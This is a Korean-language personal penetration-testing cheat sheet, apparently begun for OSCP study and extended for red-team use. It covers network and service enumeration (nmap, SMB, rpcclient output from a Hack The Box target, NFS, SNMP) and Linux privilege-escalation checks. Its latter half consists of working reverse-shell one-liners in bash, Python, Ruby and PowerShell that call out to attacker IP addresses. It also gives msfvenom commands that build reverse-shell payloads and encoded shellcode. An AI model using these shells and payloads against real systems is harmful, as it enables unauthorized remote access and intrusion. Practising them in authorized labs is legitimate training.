
세상에는 많은 치트 시트가 있지만, 이것은 제 것입니다.
치트 시트는 많지만, 이건 제 것입니다. 지금은 작업 진행 중이며, 자주 때때로 업데이트되는 초안으로 남아 있습니다. OSCP를 공부하면서 시작했지만, 이제는 레드 팀원으로서 필요한 더 실용적인 내용을 포함하도록 발전하고 있습니다. 새로 추가되는 내용은 대부분 시험에 도움이 되지 않을 것이며, 금지된 도구도 포함될 수 있습니다.
매우 불완전함...
find / -name flag.txt 이름으로 파일을 찾으려면.
grep -R "flag40" / -s -n 루트 디렉토리에서 파일을 재귀적으로 검색하여 문자열을 찾고 오류 출력을 표시하지 않으려면.
dir /s flag.txt 현재 디렉토리와 하위 디렉토리에서 flag.txt라는 파일을 찾으려면.
유용한 도구 -> wadcoms.github.io
nmap -sn 10.11.1.0/24 호스트를 찾기 위한 네트워크 스윕.
nmap -sn 10.11.1.0/24 -oG - | awk '/Up$/{print $2}' > list_ips.txt 활성 상태인 IP를 네트워크에서 스윕하고 IP 주소를 목록에 저장.nmap -A 10.10.10.10 OS 및 서비스 탐지와 함께 일반적인 TCP 포트를 빠르게 스캔.
nmap -A 10.10.10.10 -p- OS 및 서비스 탐지와 함께 모든 TCP 포트를 스캔.
nmap -A -sU 10.10.10.10 OS 및 서비스 탐지와 함께 모든 UDP 포트를 스캔.
sudo nmap -O -A -sV 10.10.10.10 일반적인 TCP 포트를 모두 스캔하고, OS를 핑거프린팅하며, 스크립트를 실행하고 배너를 확인.
proxychains nmap -Pn -sT 10.10.10.10 -v ICMP/UDP 스캔이 작동하지 않기 때문.
-w 플래그는 시간 제한을 초 단위로 지정하고 -z 플래그는 데이터를 보내지 않음(스캔용)
nc -nvv -w 1 -z 10.11.1.220 3388-3390 포트 3388-3390 TCP 스캔.
nc -nv -u -z -w 1 10.11.1.115 160-162 포트 160-162 UDP 스캔.
gobuster dir -u http://10.1.1.27 -w /usr/share/wordlists/dirb/big.txt.저는 dirsearch도 좋아합니다.
Kali의 유용한 워드리스트
kali@kali:~/Tools/dirsearch$ ls /usr/share/wordlists
dirb dirbuster fasttrack.txt fern-wifi metasploit nmap.lst rockyou.txt rockyou.txt.gz wfuzz
kali@kali:~/Tools/dirsearch$ ls /usr/share/seclists
Discovery Fuzzing IOCs Miscellaneous Passwords Pattern-Matching Payloads README.md Usernames Web-Shells
kali@kali:~/Tools/dirsearch$
python3 dirsearch.py -u http://10.11.1.44 -t 100 -e php,gzip,tar,txt -w /usr/share/wordlists/dirb/big.txt -r dirb의 big.txt를 사용한 디렉토리 열거, 복사/붙여넣기 후 IP/URL과 확장자만 변경.
python3 dirsearch.py -u http://10.11.1.44 -t 100 -e php,gzip,tar,txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r dirbuster의 디렉토리 목록을 사용한 디렉토리 열거, 복사/붙여넣기 후 IP/URL과 확장자만 변경.
python3 dirsearch.py -u http://10.11.1.71 -t 100 -e cgi -w /usr/share/seclists/Discovery/Web-Content/CGIs.txt -r, CGI 무차별 대입.
rsync 모듈은 본질적으로 디렉토리 공유입니다. 이 모듈은 선택적으로 비밀번호로 보호할 수 있습니다. 이 옵션은 사용 가능한 모듈을 나열하고, 선택적으로 모듈에 접근하려면 비밀번호가 필요한지 확인합니다**:**
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
smbclient -L 10.11.1.146 사용 가능한 공유를 나열하려면
smbclient //10.11.1.146/IPC$ 해당 공유에 로그인. 작동하지 않으면 sudo를 시도... sudo smbclient //10.11.1.146/IPC$
enum4linux 10.11.1.146 -a -o enum4linux를 사용하여 SMB 공유 열거 자동화.
Null 로그온으로 연결할 수 있다면 -> rpcclient -U '' -N forest.htb.
rpcclient $> querydomaininfo
command not found: querydomaininfo
rpcclient $> querydominfo
Domain: HTB
Server:
Comment:
Total Users: 105
Total Groups: 0
Total Aliases: 0
Sequence No: 1
Force Logoff: -1
Domain Server State: 0x1
Server Role: ROLE_DOMAIN_PDC
Unknown 3: 0x1
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
rpcclient $>
showmount -e 10.10.10.10 사용 가능한 마운트를 보려면
mount -t nfs 10.10.10.10:/ /tmp -o nolock 루트 또는 다른 폴더를 마운트.
onesixtyone -c community -i ips 대상 네트워크를 스캔하여 SNMP 서버를 식별. 여기서 community와 ips는 목록이며 community = (public, private, manager).
snmp-check 10.11.1.227 아래의 모든 작업을 수행하지만 더 잘하고 보기 좋게 형식화해 줍니다 :)
snmpwalk -c public -v1 -t 10 10.11.1.115 전체 MIB 트리 열거.
snmpwalk -c public -v1 10.11.1.14 1.3.6.1.4.1.77.1.2.25 Windows 사용자 열거.
snmpwalk -c public -v1 10.11.1.73 1.3.6.1.2.1.25.4.2.1.2 실행 중인 Windows 프로세스 열거.
snmpwalk -c public -v1 10.11.1.14 1.3.6.1.2.1.6.13.1.3 열린 TCP 포트 열거.
snmpwalk -c public -v1 10.11.1.50 1.3.6.1.2.1.25.6.3.1.2 설치된 소프트웨어 열거.
/bin/bash -i >& /dev/tcp/192.168.119.137/1337 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
ruby -rsocket -e'f=TCPSocket.open("10.10.14.3",8081).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.119.137',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
nc -lvp 4444 Netcat으로 포트 4444에서 리버스 셸 수신(캐치)
python -c 'import pty; pty.spawn("/bin/bash")' 또는 python3 -c 'import pty; pty.spawn("/bin/bash")'
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.137 LPORT=4444 -f asp > shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.119.137 LPORT=4444 -f war > shell.war
미친 웹 셸 대신 Cold Fusion에서도 작동합니다
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.119.137 LPORT=4444 -f raw > shell.jsp
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.49.133 LPORT=443 -f elf > shell.elf
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=443 EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\3d" bad characters 인코딩, Windows 셸.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.11.0.4 LPORT=443 -b "\x00\x20" -f py -v shellcode Linux, Python 출력 옵션 포함.
로컬 포트 포워딩. 아래 예시는 localhost에서만 사용 가능한 pandora.htb의 서비스에 접근할 수 있게 해줍니다.
ssh -L 127.0.0.1:9050:pandora.htb:80 [email protected]
동적 포트 포워딩.
ssh -D 9050 [email protected]
rdesktop이 Certificate recieved from server is NOT trusted by this sytem,... 오류로 실패하면 xfreerdp를 사용하세요.
proxychains4 xfreerdp /u:dev /v:10.0.0.5:3389
sudo -l, NOPASSWD: ALL로 사용자로 스크립트를 실행하는 것과 같은 흥미로운 항목이 있는지 확인.
cat /etc/issueuname -r archfind / -writable -type d 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
ps axu
ss -lnpt
ls -la /etc/cron.d cron.d에 이미 있는 cron 작업을 출력